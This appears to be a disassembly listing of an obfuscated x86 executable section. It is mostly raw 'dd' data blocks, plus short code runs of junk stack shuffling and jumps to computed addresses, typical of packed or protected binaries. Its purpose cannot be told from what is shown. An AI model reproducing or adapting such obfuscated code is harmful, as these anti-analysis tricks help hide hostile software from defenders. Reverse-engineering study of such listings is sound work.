		dd 2D66463Ch, 1783A637h, 0DB57CB7Ah, 490B96D7h,	2C2DF7Eh
		dd 51E0FBF8h, 148CEE3Ah, 2CB757B5h, 3CAA76ADh, 3E524481h
		dd 435E869Fh, 9DA32EC5h, 8919A928h, 566C3EE2h, 0B8F9FA99h
		dd 39B2425Eh, 99566C13h, 6C1804AFh, 83D09956h, 0EA7F6A69h
		dd 99566B42h, 0AE0DF905h, 0B32EF62Fh, 0FFCCFA1Ah, 0CFC88913h
		dd 72EB9C07h, 0AD000000h, 0D745EE7Eh, 93A13F84h, 84B49813h
		dd 6774A13Fh, 0C300BB26h, 2929C021h, 404C9E82h,	0D4195AA1h
		dd 6E05DEEEh, 0A14001C2h, 0F7347586h, 1C234EE5h, 1A59A929h
		dd 0E421A0F0h, 43804442h, 38A13827h, 9956E810h,	0D9377D99h
		dd 0AD92D135h, 0EB2B6849h, 27DFE18Fh, 0A3227697h, 1447A367h
		dd 4B489DDCh, 990D17Fh,	51A5F115h, 3913FEDAh, 0D8h, 88584F5Fh
		dd 0C105036Eh, 77C5DCA5h, 0AD92F41Ch, 70A70A6Ch, 84D478F3h
		dd 4794A13Fh, 475D9206h, 0C9EFF36Eh, 0AA76F463h, 92824869h
		dd 13F473F7h, 74A13FACh, 7EDFCD1Dh, 1A06AD22h, 0DEA13FA3h
		dd 0A74C5C9Dh, 0A13FA279h, 23A72231h, 8E8B509Fh, 0F0C4421Dh
		dd 0B2FFCC61h, 0CDC99C39h, 62DDC405h, 250BA0E5h, 0E5A13FE8h
		dd 0A8435196h, 0A92BBCBBh, 7BDACE0Dh, 61E1F91Dh, 12F65AD1h
		dd 0C3B29954h, 0C4DF1CCCh, 0AF71775h, 263F1AF2h, 0F9BA436Dh
		dd 0CE000003h, 3D9C0AD6h, 13A63CE0h, 5B4D2FAh, 79D8C60Ah
		dd 75E3FB1Bh, 458987EBh, 7AA2FC5Dh, 69B1ED6Ch, 19C9C071h
		dd 0DD562A81h, 0A92E226Fh, 4FC26E2Bh, 95158D51h, 40A3D45Ah
		dd 0B12889B0h, 64BD0B02h, 0EB637BB8h, 6E88584Fh, 0C6DC0C03h
		dd 0D4C4DA6Fh, 28A7B25Fh, 0F9EBE8A9h, 615EC269h, 0C9629956h
		dd 99566163h, 0BFBCD427h, 75A5D224h, 0E995661h,	19AEEA1Ch
		dd 739E1587h, 0D1A13F84h, 0A9CD1570h, 8AC93FAAh, 0D4CD8C1Ch
		dd 0A93E9108h, 0B415A537h, 6A698D5Dh, 0D24FEA7Fh, 0FEFD995Bh
		dd 0EB2F6BEAh, 50E070F0h, 7EA975DBh, 0FE753589h, 897EA952h
		dd 1D84C516h, 0BFDB65BEh, 27CCDA1Bh, 897EA9FFh,	607EA2FEh
		dd 908A0FE0h, 0B3C5ED04h, 2B6D28h, 65030000h, 0A13F84B3h
		dd 9D05A32Ah, 0DF3BE33Ch, 3F8474D8h, 4E21CA1h, 3FA76FA8h
		dd 305A7E9Ah, 3F84D27Bh, 9571A5A1h, 0DFC70B07h,	0C8DF7E7Fh
		dd 0B7F4207Ah, 0A971AD2Ch, 0E028644Dh, 0AD594D86h, 0D090E14Eh
		dd 33676906h, 866752FEh, 746F28DDh, 9901C9C5h, 40602612h
		dd 91E4D9A1h, 0F90C15FFh, 0FFFFFF9Fh, 84584F9Fh, 899EB012h
		dd 72903349h, 0A8096D52h, 0A939A171h, 0CF2BEB28h, 0B59B1080h
		dd 75A1406Dh, 83C07B66h, 4303CF61h, 0B38C9D5Ah,	5FCC01A9h
		dd 34A4E590h, 0B5210FA4h, 9AD9A13Fh, 0E7EA810Fh, 65A928CCh
		dd 3D9CF416h, 94DB3FDFh, 9BB4640Dh, 4B779956h, 9CF71F9Bh
		dd 3C6313FFh, 25000000h, 10801653h, 289EF69Bh, 0B52734A9h
		dd 7855CC7Ah, 5F6B90F9h, 0AC71E3BCh, 5F1E829h, 55D1A696h
		dd 92336199h, 44BAF7Bh,	2685619Dh, 3EA569A7h, 6B7581h
		dd 0AEE514h, 4FBB0000h,	36E8858h, 0DCA5C105h, 90F115C5h
		dd 0AA31A979h, 0A13F8951h, 0AB33DF36h, 0B123EF26h, 0B52CF410h
		dd 0F1E77C41h, 0A0D548E3h, 0A4B7A928h, 0FF42873Eh, 565EC874h
		dd 32738099h, 6DF1519Eh, 11AB911Ah, 6C6F9956h, 9653323h
		dd 0BFA4C612h, 4EE5637Eh, 0A1416713h, 0D7766A69h, 0CC8D15B9h
		dd 0B1750ECEh, 0B02E01A6h, 1BE0F96h, 9BF30000h,	0A5E2574Fh
		dd 0BFD87961h, 0CFCA8F17h, 0E03E930Bh, 2608A63Ch, 12884C4Ah
		dd 21B965BFh, 36AC7490h, 465C8C83h, 0AC901BE9h,	6CA92E24h
		dd 514F8F29h, 5A95158Dh, 1D56F5DAh, 0A5148FAFh,	9024A26Eh
		dd 10801653h, 289EF69Bh, 0B52734A9h, 0CAD1F914h, 6ADD4F4Ch
		dd 0FAAE9956h, 7E98405Bh, 52B46A71h, 0FFD2B0C4h, 0BBD813h
		dd 4FFC0000h, 36E8858h,	0F6A5C105h, 0A13F8915h,	42868243h
		dd 71A1F847h, 61A5E263h, 4FC3DE05h, 2347938Ah, 9AF10542h
		dd 109B094Eh, 0A928A11Dh, 3CFC687h, 85B7F8E7h, 7126310Fh
		dd 98DB21B8h, 86524908h, 992E871Bh, 0D9349507h,	911AAA31h
		dd 0A1422A7Dh, 8F4E4291h, 0E4554D91h, 979D66A6h, 0E62E0168h
		dd 0EA3DD8h, 0C7DF0000h, 0D1CE831Bh, 0EB24950Dh, 0FB16BB23h
		dd 0C0ACFD7h, 0FA64D2C8h, 4E547896h, 5D45918Bh,	6278A0FCh
		dd 7268B8EFh, 80AC47C5h, 38A92E25h, 514FD37Dh, 595158Dh
		dd 3F84C26Eh, 8795A1A1h, 3F066F09h, 0BC1B86D5h,	0C827B565h
		dd 0DD52A3CEh, 0C65C4703h, 88584F76h, 0DC0C036Eh, 8C8342C6h
		dd 84B8640Fh, 6370A13Fh, 0BF04A722h, 802BBB29h,	0A13F849Ch
		dd 4841F5Ch, 2E18C66Fh,	6D7F7CA9h, 0F0EA56DDh, 5DD69950h
		dd 9950F0EFh, 3340A8ABh, 0C036EA8h, 0C363CCDCh,	0DCE77750h
		dd 0BCE445Fh, 0F5A2C414h, 0F3F252BAh, 0AA02E41Eh, 0A709AB73h
		dd 825710DDh, 9DF4455Dh, 4D48294Dh, 1268ACE7h, 55CEA68Fh
		dd 0A04B599Eh, 3EB0387Ch, 9CFE3F3Ch, 60BC2A54h,	50E1F929h
		dd 0E08DE939h, 0Ch, 86FC7FB0h, 0D1E48F6Eh, 2E8A0ECAh, 6F8B574Fh
		dd 0BBDF0B02h, 0F416BAD6h, 4FAB73ADh, 86E02462h, 0DD39DD3Bh
		dd 157199F4h, 6F8B534Ch, 0A5C10502h, 0E28952B7h, 4C281h
		dd 0BB530000h, 4, 875BDA29h
; ---------------------------------------------------------------------------
		adc	al, 24h
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		push	ebx
		push	ecx
		mov	ecx, 28301876h
		mov	ebx, ecx
		pop	ecx
		sub	ebx, 20418379h
		mov	edx, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	ecx
		mov	ecx, 8
		add	ecx, ebx
		mov	[ecx], edx
		mov	ecx, [esp]
		add	esp, 4
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		dd 0F307194Ch, 5EBDA5FDh
; ---------------------------------------------------------------------------


loc_5DE108:				; CODE XREF: sdfs____:005DD258j
		mov	eax, 7EEA29Fh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0E7h, 28h, 0E9h
		dd 4B63ED04h, 0E80AEA3Ah, 0BB40379h, 0B1B7D533h, 7B2DB54Bh
		dd 8E033B2Fh, 896A6033h, 0CD93CA2Fh, 0C3E3B466h, 5A16C37Ch
		dd 9867C540h, 0EC573F73h, 0B51F896Ah, 9D201455h, 1AF5A01h
		dd 0B06C6B63h, 4B72D46h, 70BC1C1Dh, 91777A42h, 490F724h
		dd 0F9813F59h, 985DCB26h, 119D8D0Dh, 0B807E915h, 0CEh
		dd 1598589h, 0E807E9h, 58000000h, 0D05h, 0E9038900h, 0CEh
		dd 33h dup(76F20000h), 0DE8FFFFh, 2B000000h, 0BA805F72h
		dd 0CFBB5B6Ah, 386A9907h, 10E951h, 0F7A70000h, 0F3265962h
		dd 840072D2h, 498819F7h, 585F6326h, 0EE816057h,	632CBBB9h
		dd 830Fh, 5A610000h, 605BC081h,	8B660000h, 17E1BEF8h, 8B660000h
		dd 8030FFF8h, 565B41CDh, 11E9h,	91062B00h, 6E0254E8h, 3B633D32h
		dd 9FF97FC6h, 8159A6E6h, 0B29E53F3h, 16D68000h,	0B4E6EB81h
		dd 0AEBA3882h, 814705C6h, 8E3912C3h, 0BA66537Dh, 8F0D73h
		dd 0E881D08Bh, 384A4E2Ah, 81D1B70Fh, 4A4E26C0h,	81CB8B38h
		dd 1EEh, 23850F00h, 0E9000000h,	9, 0E60CE044h, 13423245h
		dd 24E917h, 89250000h, 2CEA8CB2h, 88E52EA7h, 0CF176445h
		dd 0B70F3423h, 0FF77E9CFh, 0EA99FFFFh, 0E4D9DE77h, 4AEECC25h
		dd 8D8DF184h, 7EEA63Eh,	3BCE8166h, 0D8D890Eh, 8907E932h
		dd 0E919ED8Dh, 0D9BD2307h, 0C707E91Eh, 0E922E585h, 67C007h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 0C7CB1D1Eh, 0E922B185h, 7, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
		dd 0EF81AD44h, 4B9ACCF1h, 35199D89h, 0B5FF07E9h, 7E93151h
		dd 20C99D33h, 95FF07E9h, 7E92285h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 0A2C35040h,	0E44BFF71h, 235CECBFh
		dd 0E9161995h, 0FF006A07h, 0E90C3195h, 0EBC08B07h, 0DC49548h
		dd 2D5C6603h, 66581237h, 947002Bh, 0F66EDE32h, 3C699259h
		dd 9F3DF62Ah, 6B9B33DAh, 0DB25CD8Ch, 46F9E4BDh,	5EBC9CEEh
		dd 0BB5662A2h, 0D7FCCA38h, 0ECED296Dh, 0D43DBD6Ah, 0F917793h
		dd 294055B7h, 9821B3Ah,	60EB27h, 17h dup(0)
		dd 0E9000000h, 0B2Ah, 0B1EE9h, 0AEBB6800h, 0C3E907EEh
		dd 68FFFAD4h, 7EEB017h,	0FAD4B9E9h, 0B07768FFh,	0AFE907EEh
		dd 5FFFFAD4h, 8731BCBCh, 0C8640973h, 7FD95426h,	0AC08A527h
		dd 0EA42F389h, 0ACC86D4Dh, 0FE7E9701h, 4A32C577h, 91E309ABh
		dd 722F7B1Ch, 286E1E32h, 4AFAA8E2h, 2305D95Bh, 9B1A9A8Bh
		dd 0C3571339h, 0C95F65B9h, 0C6B65975h, 0C143527Eh, 0B8BC517Dh
		dd 0B0C56864h, 0D51B1F32h, 6DB147FFh, 15678B53h, 2BA9F9DDh
		dd 5CDC3591h, 5C736525h, 67F5AF30h, 8D49578Bh, 0F1250D6Fh
		dd 0C7C11D5Fh, 0EF8DA12Dh, 9C1C8D17h, 74305C72h, 42D6C22Eh
		dd 611E438h, 7F8A0791h,	6D384ECBh, 0C0284CE1h, 68F4861Ch
		dd 643FB6C4h, 33CD5FCEh, 3BF781ABh, 6DCC464Ah, 3E993428h
		dd 4D1CE3AFh, 742ED21Eh, 6C0E2CA8h, 0DC7841C1h,	9BB746C4h
		dd 0DC51728Ah, 2FCDE941h, 90329F4Dh, 47C5DC78h,	0A83F36EBh
		dd 346D871Eh, 2AC34151h, 6F20F20h, 69036384h, 5CC57838h
		dd 2E0A9830h, 0D4535D9Ch, 5E93B930h, 37000000h,	0BD33A4B3h
		dd 0C5890978h, 198B305Ch, 4830C78Fh, 0EE7822E0h, 0C55D5D54h
		dd 0EDB7305Ch, 0C566265Bh, 0F4AE305Ch, 0EE788E3Ch, 5CC4F3B3h
		dd 0C7871D30h, 0E9FB4B35h, 0FF819501h, 5CC50282h, 4537DA30h
		dd 62225F49h, 0B2305CC5h, 3ACC62F0h, 115D04A3h,	7CB4745Eh
		dd 51DB774Eh, 3Dh, 33A4B3F1h, 57EE78BDh, 0CADAD322h, 0DB0EBD48h
		dd 9864163Ah, 0CDBC740Ah, 305CBFCDh, 7EFE11BDh,	178A1CA6h
		dd 305CBF97h, 15CF2B79h, 3999D490h, 0B34171D3h,	4ACA783Dh
		dd 7766D4A6h, 39DC78DBh, 3F3AF743h, 0D841EA8h, 305CC58Dh
		dd 19881D87h, 0D02A2E65h, 0EBA600E8h, 37B4F864h, 8CEE0CC8h
		dd 1AC632B0h, 932AB488h, 0FDE4CD31h, 8445AD09h,	2872F328h
		dd 68824ADCh, 1FBE220Eh, 1AB202C2h, 18C7C8Ch, 0FA620000h
		dd 0CEDB2B55h, 24342C2Fh, 8860F678h, 30A7B33Ah,	0C4A3EBA6h
		dd 0FD97305Ch, 5CC50484h, 5A960C30h, 0A410ECB6h, 0F949E496h
		dd 60D6A04Ah, 0DC789032h, 3BF64238h, 6335AB3Ch,	0D4535D27h
		dd 7CD8B930h, 0F70AA3D9h, 0BE8F04ADh, 421E539Fh, 0A4000000h
		dd 9933A4B3h, 9D611B3Dh, 0C50E8E03h, 9C06305Ch,	78E0220Eh
		dd 859557EEh, 0CBBDDB78h, 801E9E6Fh, 0ACF6305Ch, 4ACA783Eh
		dd 7866D4A6h, 0E03C3EDCh, 72CCA7E5h, 0A230B022h, 51F35F56h
		dd 2Dh,	66EE78F1h, 485AAAD4h, 5CC55959h, 1E9BB30h, 9C52C56Ch
		dd 0C5890978h, 2BBD305Ch, 5CC53676h, 36C4DE30h,	4ACA7880h
		dd 7766D4A6h, 0B3EE78DBh, 305CC4F3h, 0F6AB871Dh, 265BED7Ch
		dd 305CC55Ah, 4768440h,	8262402Ch, 346C2436h, 0C6546EB6h
		dd 0F684A834h, 4A13B73Ah, 3260D6A0h, 33A4B390h,	39DC78BDh
		dd 9E1E343h, 0DC783E84h, 0E5FF47C5h, 42AECE61h,	30D46F41h
		dd 0F218C4B9h, 3D75A880h, 4D000000h, 0BD33A4B3h, 4339DC78h
		dd 0FF67F1F7h, 0C4DE26A6h, 0C51D9D6Ch, 0A9F7305Ch, 277F52Dh
		dd 305CC582h, 0CC821092h, 0A64ACA78h, 0DB7766D4h, 3F51h
		dd 463BD500h, 305CC546h, 0AE1CD4CEh, 0BD33A4B3h, 5D54EE78h
		dd 305CC55Dh, 4405EDB7h, 305CC544h, 8A52E4FAh, 0EDDF1B65h
		dd 0DC78CA78h, 0CEEA46C4h, 5D5D542Ah, 0B7305CC5h, 0BB49CBDBh
		dd 0DB77B725h, 0CE51h, 0A7B3F100h, 0A3EBA630h, 6D305CC4h
		dd 49E3EF37h, 4A3C862Fh, 8FCCD1A0h, 0C4185AF0h,	28702FBEh
		dd 451E2BC2h, 0D7B14D2Fh, 90329341h, 4238DC78h,	0AB3C3BF6h
		dd 0DBA1B511h, 2763AD1Fh, 30D4535Dh, 0DA7CD8B9h, 0EA465CA0h
		dd 53B7h, 0A4B31300h, 6D79D834h, 2A2A326Fh, 49E1FFECh
		dd 19CF5DF3h, 403ADC78h, 34087284h, 2D6442AEh, 305CC56Dh
		dd 784FFDA7h, 0B3EE78CAh, 305CC4F3h, 0FAB871Dh,	6E0791EBh
		dd 3ED1D1D3h, 49DCE63Eh, 9AE32A5Eh, 844F93FBh, 0CDFF3BC9h
		dd 3051DB77h, 0F1000000h, 0BD33A4B3h, 0D166EE78h, 72007499h
		dd 0C4C7C786h, 19B3305Ch, 0AFE29ABDh, 305CC4EFh, 0E834B8E9h
		dd 0E8BADAh, 78E6546Ah,	0D4A64ACAh, 4ADB7766h, 420ED6A0h
		dd 0C422D3ADh, 0BF87F518h, 0E09C9025h, 0AB3EA971h, 0B7C16B4Fh
		dd 63F5516Fh, 6E30D119h, 31305CB5h, 3044E975h, 0F61AD6ECh
		dd 0F97F9D57h, 5CB50888h, 49A0830h, 532DCF69h, 37962FB9h
		dd 4B384C49h, 3447473Ah, 0DBC9305Ch, 0E49C5742h, 0D0183A0Eh
		dd 46EA459Ch, 22A0F05Ch, 0C103AAD6h, 0F1A4492Bh, 0FF67F166h
		dd 0C0C2225Ah, 3C037E68h, 5A37B4CFh, 0B10DF448h, 572872D0h
		dd 0EFD102ABh, 0F8C1AD4h, 12h, 0D6A04A5Bh, 0C517970Eh
		dd 6A6A305Ch, 89EB01C3h, 0A04A5EE4h, 0B8BB0ED6h, 0C5E49D2Fh
		dd 4D384F1Dh, 1EAC3061h, 0C651DC97h, 0FBF67D34h, 309C2FC6h
		dd 18363E1h, 0D6F29373h, 8A2084FBh, 0CA3AE786h,	249408A8h
		dd 2Fh,	30A7B3BEh, 65E73EA6h, 36661B8Dh, 0FE305CC5h, 727B12A4h
		dd 0F08C5B5Bh, 611B3E9Eh, 0BD2B079Dh, 0F07DFF11h, 324CEE76h
		dd 17C9C6h, 0B3190000h,	0EBA630A7h, 305CC49Fh, 3D993371h
		dd 52CC611Bh, 0DC14668Ah, 17ED78EEh, 25D022D5h,	9D399662h
		dd 49000001h, 8331A6B3h, 0A04A9032h, 0ECA944D6h, 0ADEB31A7h
		dd 63038169h, 0D4535D27h, 4393B930h, 13000000h,	5CC94F7Ah
		dd 41EB0D3Dh, 7B49A137h, 4238DC78h, 5508E0E2h, 78994FDCh
		dd 5CC58909h, 0A2F8B30h, 824ADC72h, 0EBD91193h,	0DC78CA78h
		dd 71AA4339h, 0FDA2C614h, 0BA5C78B0h, 0DB7712C0h, 3D51h
		dd 0A6B3F100h, 9788331h, 305CC589h, 0EAAAE771h,	0D3305CC4h
		dd 0B75D7DB8h, 7B296513h, 71E7E5BFh, 0DC78CA78h, 0E4FE46C4h
		dd 0C286A80Ch, 0AAD466D2h, 23BA485Ah, 0E19B1F92h, 2F9D33BBh
		dd 0A04ADB77h, 0DC7860D6h, 0D7AB4238h, 8E6D66E2h, 0BB9F53Dh
		dd 9933A4B3h, 0CF1ECE0Ch, 935F51D5h, 3ADC7831h,	0AE6FC40h
		dd 535D0387h, 0D8B930D4h, 0ED7F684Dh, 1FDB59D9h, 6BC2h
		dd 0DC78E000h, 0E2E03C3Eh, 4BDC5B16h, 0B3EE7895h, 305CC4F3h
		dd 0BCF5871Dh, 305CC4FCh, 44A28E14h, 216110AAh,	0F3305CC5h
		dd 88879B1h, 8305CC5h, 0CA78249Ah, 5F11ED78h, 646ABA24h
		dd 7604288Ch, 1ECD49E4h, 3CAB5250h, 0FF77D6F4h,	60CAB366h
		dd 0F743DB73h, 0C7ED78D5h, 334DE3B8h, 1CEFF89Ah, 20A282F8h
		dd 3469A692h, 0B9000000h, 0BD33A4B3h, 0C5890978h, 0E771305Ch
		dd 2314164Eh, 0ADDC6952h, 305BD3EDh, 5E36B6EFh,	0B036EC44h
		dd 95158C26h, 7F305BD3h, 78FFCD25h, 0D4A64ACAh,	4ADB7766h
		dd 9A0BDBA5h, 305CC53Fh, 0DF27C6CAh, 339BE577h,	0FD875F19h
		dd 386E8135h, 0B996517h, 72D25243h, 0F753E270h,	0AEDCA54Ah
		dd 0E3456F62h, 0A72FB94Fh, 0D20EEA92h, 0D72F51E6h, 0ABEB8204h
		dd 20B27219h, 852448A0h, 21CCAC43h, 394728C5h, 0A30893C8h
		dd 0EA5BB657h, 36A5305Bh, 8431B6C9h, 0FFFE2729h, 439FB9FFh
		dd 0F0305CC5h, 305CC354h, 5CC3C0C1h, 0F71DA830h, 0EEB3222Ch
		dd 0FEDAAB87h, 0CC305C7Ch, 0A6921000h, 5C7D0BA7h, 7D9C3830h
		dd 8AA5F05Ch, 1CF28B1Dh, 61C9F1E7h, 0C11D5FFDh,	0E3C52DC3h
		dd 0B0E6BC49h, 8C568277h, 1C06A5A4h, 960C77B0h,	0EF78FB4Eh
		dd 572AC35Dh, 63BBE484h, 0B7FE8F6Bh, 5F6FC8ADh,	933DAC45h
		dd 0C71FFC34h, 29C90h, 1A5AF100h, 6715399Bh, 0B2CC62CEh
		dd 3819103h, 4933C672h,	87F334A4h, 0C96B0A72h, 7FD954D8h
		dd 0A30DA0D8h, 2146EF89h, 178C0C85h, 7684286Eh
		dd 0D6A04A10h, 40D4700Eh, 10D8EA3Ah, 0B345D25Dh, 0D79BBD19h
		dd 0DCE63EBEh, 0B9E8F64Eh, 305CC4F9h, 3FFB891Bh, 4F1E134Eh
		dd 7701A338h, 6353B6DEh, 65CD28C3h, 2CDE998h, 39D286Eh
		dd 6E030E8Eh, 549C0628h, 7F099E99h, 605BFB02h, 0D365E130h
		dd 79D41A9h, 5041DB75h,	207F5D50h, 0A216E2C0h, 0D547EE88h
		dd 93ED0347h, 0B2E36BFDh, 18D0D232h, 0FC12BAC4h, 0D3D7B682h
		dd 0C207F5Ch, 4AE476E1h, 5CC1C1B0h, 5153207Fh, 0CA1A62F5h
		dd 2E9170B8h, 0E42871B6h, 0CA922CBEh, 0F88A5A24h, 63C3B95Ch
		dd 0F2D8961h, 5041DB6Dh, 1890B650h, 8B16E2C0h, 9010811Bh
		dd 481890B5h, 0E6BCD0A2h, 0C48CAE0Ah, 6EB64436h, 0E839989Bh
		dd 4D44D664h, 20830E6Eh, 7C47C75Eh, 0B95EB9CEh,	0CF178D71h
		dd 0DE68FF7Ah, 951658A3h, 52E4BE18h, 9F16608Ah,	815D1F3Dh
		dd 0B3FCC4E0h, 41D25D08h, 0B3FD5050h, 4CE2C008h, 558CC7BAh
		dd 782A10A6h, 0A82E66EEh, 0C555B9F9h, 0BB495B00h, 0C36E237Fh
		dd 94CFC254h, 22081E35h, 0B70E980h, 9C500462h, 1402Bh
		dd 0BEBE5D00h, 0B718537h, 5628CE6Ah, 0A7257DDFh, 0ED8FA20Eh
		dd 634FE840h, 9507AECEh, 0DB75F87Ch, 0FA94434h,	7DE293EDh
		dd 15307021h, 0AAE0286Eh, 37A0B3F4h, 1D71ECA5h,	21BB384Fh
		dd 6E1E3070h, 76C2E028h, 75F72E8Ah, 0AF4A1FE7h,	20F3AE38h
		dd 962FC71Dh, 2D1A650Ch, 2A3A3C35h, 0E0B5h, 5E1E3D00h
		dd 0ABD165D7h, 0F688AE0Ah, 47C5DD7Fh, 8DEF02AEh, 0C3AF88E0h
		dd 75A74E2Eh, 0BB15981Ch, 0EF49E494h, 0DD82334Dh, 14D0D0C1h
		dd 0A40286Eh, 30A0B354h, 0D61C733Bh, 18B24059h,	4F1A4669h
		dd 8AAE3638h, 4E5438F0h, 4630DAF6h, 8DEF0DAFh, 0E671FCB1h
		dd 1A988854h, 52D9C8DEh, 3A306072h, 0F4EF21A3h,	2CA4FF8h
		dd 0BBA793EDh, 44E844E9h, 0FD931100h, 0E0A0D16Bh, 30207F9Ch
		dd 993B8672h, 0CC680577h, 7DDF56D4h, 95119CD8h,	225FD9C9h
		dd 207F9D62h, 9662F0B2h, 0DB6D0F22h, 9D505041h,	0E2C0207Fh
		dd 0F8298B16h, 0B85FF974h, 69832DC0h, 0DBCA660Fh, 9681D459h
		dd 0DADE7701h, 0F121BFF4h, 0B0E1C733h, 2871F269h, 9D2BFBA9h
		dd 0F30E8E03h, 9C061890h, 0A8CA6054h, 3B005h, 54D20000h
		dd 0D7A14AF6h, 0CFA9430Fh, 0C4B45B77h, 0C7455C78h, 0BEBE537Fh
		dd 0B5C76A66h, 0B7356D69h, 0B3CD636Fh, 0A9D36753h, 54555E55h
		dd 4C5815Dh, 83000000h,	2C8704EDh, 89505C24h, 405E0h, 0E8830000h
		dd 24048704h, 2404895Ch, 81E78957h, 4C7h, 4EF8100h, 87000000h
		dd 895C243Ch, 6851242Ch, 781C139Ah, 8FF18159h, 897FF2B4h
		dd 0EC8359C8h, 24248904h, 4240481h, 5D000000h, 89C38953h
		dd 1C8B085Dh, 4C48324h,	51242C8Bh, 0C181E189h, 4, 4C181h
		dd 0C870000h, 48B5C24h,	0E2895224h, 4C281h, 0C2810000h
		dd 4, 5C241487h, 0FAC9B5E9h, 0ABF236FFh, 0B8B8C562h, 7EEB17Ch
		dd 0C38BC503h, 0E0E9h, 0B8F0F00h, 0E9000000h, 6, 0D9CF4D49h
		dd 0B58D343Bh, 7EEB257h, 89858DF8h, 0F807EC77h,	0C3FCD0FFh
		dd 0CB8B6660h, 5E8h, 0BCE37A00h, 5FF92DD7h, 0D98C6661h
		dd 0EE9h, 0B1FD6700h, 5CE07409h, 0A879C07h, 0F66D05FBh
		dd 840F04C1h, 65h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 8EC35747h, 0F604D8Bh,	282h, 0B9616000h
		dd 1F5B8D20h, 8BFB8B61h, 0AEC032CBh, 0CF2BFD75h, 0F92BD9F7h
		dd 8B49D78Bh, 0CD00EBD9h, 1013F20h, 74C00B00h, 0C708D18h
		dd 0CB8BFA8Bh, 490A75A6h, 1B8FA75h, 0EB000000h,	0EB008B09h
		dd 0B8E4h, 60CF0000h, 73D08166h, 5FF55156h, 128C0F61h
		dd 0E9000000h, 0Dh, 2156A81Bh, 1C6F2DE4h, 0C702EF3Ch, 0BB85C7E9h
		dd 3F07EEB2h, 0DC000101h, 6E1F2F13h, 0BC2B0BBFh, 23F24963h
		dd 43065D71h, 787A2135h, 97FCF070h, 5081B385h, 0E033CD85h
		dd 0E8D15DF1h, 4E1D5905h, 0F289988h, 0F63CF132h, 0B933F01Bh
		dd 0B5D27153h, 6D75197Fh, 3759F035h, 9B301862h,	9213F035h
		dd 9ABAAFF6h, 37B2F411h, 0B925F411h, 8B74F035h,	0A9001F6h
		dd 48C9666h, 26B0AA4Eh,	0CADAE620h, 0B6B7FF35h,	1933F035h
		dd 0BADBA135h, 0FC33F035h, 0E76A336Ch, 0B637D479h, 8F37D471h
		dd 8C33F035h, 0EEF3364h, 7333F030h, 0D5B7E716h,	0F51949D4h
		dd 876DBC72h, 3733F2D1h, 0FBF97B53h, 0CD33E1DDh, 0B51ACB35h
		dd 4F6FB768h, 0C3EBDD9Ah, 0DE40FC8Eh, 34CAC916h, 0BA52B483h
		dd 7580DDB0h, 1B899632h, 27B296D3h, 1563C743h, 307F768Ah
		dd 0CDDAD431h, 4B33F035h, 0BB9B961h, 7BB7ABE8h,	0B5D87979h
		dd 0AB7E7740h, 0C03C75B8h, 0ABDAF7DBh, 0C533F035h, 189DC923h
		dd 96ABC2FEh, 2226F915h, 0D2D8B629h, 0E6B3FF9Eh, 2333F035h
		dd 0B933FEDDh, 49389D35h, 0CCA6A1D1h, 0F4F5B712h, 0CB751B6Ah
		dd 936DA966h, 8C17F4BCh, 70DBA535h, 9933F035h, 556E3368h
		dd 0EF37D459h, 2A37D471h, 0DE33F035h, 8E1D3360h, 0CEDDEA63h
		dd 4BE21F54h, 0AED265CAh, 0DC59F7DCh, 6E301860h, 6A13F035h
		dd 0F7BAADF6h, 89B2F411h, 0E627F411h, 2676F035h, 7EB2A1F6h
		dd 0EE176DA9h, 6E5930BEh, 37301867h, 0C113F035h, 99BAAAF6h
		dd 0A2B2F411h, 7329F411h, 0EB71F035h, 8B73B3F6h, 0E0B14EF6h
		dd 2F964DB6h, 0EE33F7DCh, 888E733Ch, 0E634192Fh, 2063E941h
		dd 0C38B30BEh, 5533F031h, 872209B0h, 0F9AE7D32h, 64341BE2h
		dd 4E6BABE6h, 0F29B588h, 6447F032h, 0C38BA365h,	5533F031h
		dd 872209B0h, 8AAE7D32h, 64341BE1h, 0AB6BABE6h,	8CFE288Bh
		dd 70DBA535h, 9933F035h, 556E3368h, 0EF37D459h,	2137D471h
		dd 0DE33F035h, 1AFE3360h, 88E571C1h, 0F816879Ch, 0BABEFFF5h
		dd 8F33F035h, 0F3BEAACDh, 30DD4322h, 290775B8h,	4C55F7DBh
		dd 0E9A3F1EBh, 0A3CC3E8Ah, 182A4A53h, 0DC31713Ah, 9FB8F035h
		dd 0B33C303Eh, 9B33F011h, 0CD30723Ah, 6D55F035h, 29AE7DC2h
		dd 50341978h, 0DC33F033h, 0D76580D4h, 348B992Ah, 6433F035h
		dd 33B896D6h, 552C6DB8h, 0F63CF7DBh, 0B933F037h, 59BE3FBEh
		dd 69DD4201h, 0DF61F05Fh, 9B33F036h, 97F0AA15h,	0E217A4BCh
		dd 7717B4B4h, 0B933F023h, 0C2F0A277h, 0E73C7B3Ch, 3733F037h
		dd 4BCCBE83h, 2562F05Fh, 0E633F036h, 2AF0A915h,	0BD17BCBCh
		dd 0D817B4B4h, 6E33F02Dh, 76F0A174h, 0D97261A4h, 0B27C4F53h
		dd 39414E53h, 0F73C303Eh, 0B933F066h, 0DC33F6DDh, 90216535h
		dd 6D4F088Fh, 0D6696DB8h, 23B3F7DCh, 0E6324807h, 0FB3CF035h
		dd 0B933F027h, 0DC33FDDCh, 0B4668135h, 60E8F744h, 0FB553F01h
		dd 2ECCD47Ah, 0E63F05Fh, 7333F036h, 0E1F0A815h,	0D817B4BCh
